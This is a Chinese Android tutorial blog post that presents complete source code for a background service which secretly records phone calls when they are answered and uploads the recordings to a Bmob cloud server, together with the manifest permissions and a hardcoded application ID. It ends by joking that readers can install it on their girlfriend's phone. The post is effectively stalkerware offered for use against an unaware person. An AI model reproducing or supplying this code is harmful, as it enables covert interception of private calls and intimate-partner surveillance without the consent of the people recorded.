Android实战简易教程-第五十五枪(窃听风云之电话录音上传)

前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。

一、配置bmob

配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:


然后配置权限:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>

然后在代码中初始化:
package com.bmob.example;
import cn.bmob.Bmob;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
         // TODO Auto-generated method stub
        super.onCreate(savedInstanceState);
         // 初始化 Bmob SDK
        // 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID
        Bmob.initialize(this, "Your Application ID");
    }
}

这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。

二、代码实现

1.MainActivity.java:
package com.example.detectdemo;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		 Intent intent = new Intent(this,PhoneService.class);  
	        startService(intent);  
	}
}

MainActivity.java就是启动了一个service,下面我们看一下这个service:
package com.example.detectdemo;

import java.io.File;

import cn.bmob.v3.Bmob;
import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.listener.UploadFileListener;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

	private TelephonyManager tm;
	private MyPhoneStateListener1 listener;
	private MediaRecorder mr;

	@Override
	public void onCreate() {
		super.onCreate();
		Bmob.initialize(this, "043e93c00763edf4ba390e9031775656");

		tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		listener = new MyPhoneStateListener1();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

	}

	private class MyPhoneStateListener1 extends PhoneStateListener {
		public void onCallStateChanged(int state, String incomingNumber) {
			switch (state) {

			case TelephonyManager.CALL_STATE_IDLE://闲置状态
				

				if (mr != null) {
					// if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){
					mr.stop();
					mr.reset();
					mr.release();
					mr = null;

					// }
				}
				break;
			case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听
				
				try {

					mr = new MediaRecorder();
					mr.setAudioSource(MediaRecorder.AudioSource.MIC);
					mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

					
					String fileNameString = System.currentTimeMillis() + ".3gp";
					File file = new File(
							Environment.getExternalStorageDirectory(),
							fileNameString);
					String filePathString = file.getPath();
					mr.setOutputFile(file.getAbsolutePath());

					mr.prepare();
					mr.start();
					upload(filePathString);

				} catch (Exception e) {
					e.printStackTrace();
				}
				break;
			case TelephonyManager.CALL_STATE_RINGING://响铃状态
				
				break;
			default:
				break;
			}
		};
	}

	@Override
	public IBinder onBind(Intent intent) {

		return null;
	}

	/**
	 * 将文件上传
	 * 
	 * @param filepath
	 */
	private void upload(String filePath) {
		final BmobFile icon = new BmobFile(new File(filePath));
		icon.upload(this, new UploadFileListener() {

			@Override
			public void onSuccess() {//上传成功!
				Cheat name = new Cheat();
				name.setName(icon);
				name.save(getApplicationContext());
			}

			@Override
			public void onProgress(Integer arg0) {

			}

			@Override
			public void onFailure(int arg0, String arg1) {

			}
		});
	}

}
最后配置权限:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.detectdemo"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 -->

    <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name="com.example.detectdemo.PhoneService" >
        </service>
    </application>

</manifest>


主要用到了TelephonyManager 电话管理类和MediaRecorder  录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。

运行本实例,然后打电话给10010进行测试:




点击文件名即可将文件进行下载:

好了,自此功能就实现了。可以把它装到你女票的手机上了!哈哈,谨慎而为之啊!概不负责。
喜欢的朋友请关注我和我的公众号!谢谢



你可能感兴趣的:(android,bmob,电话监听)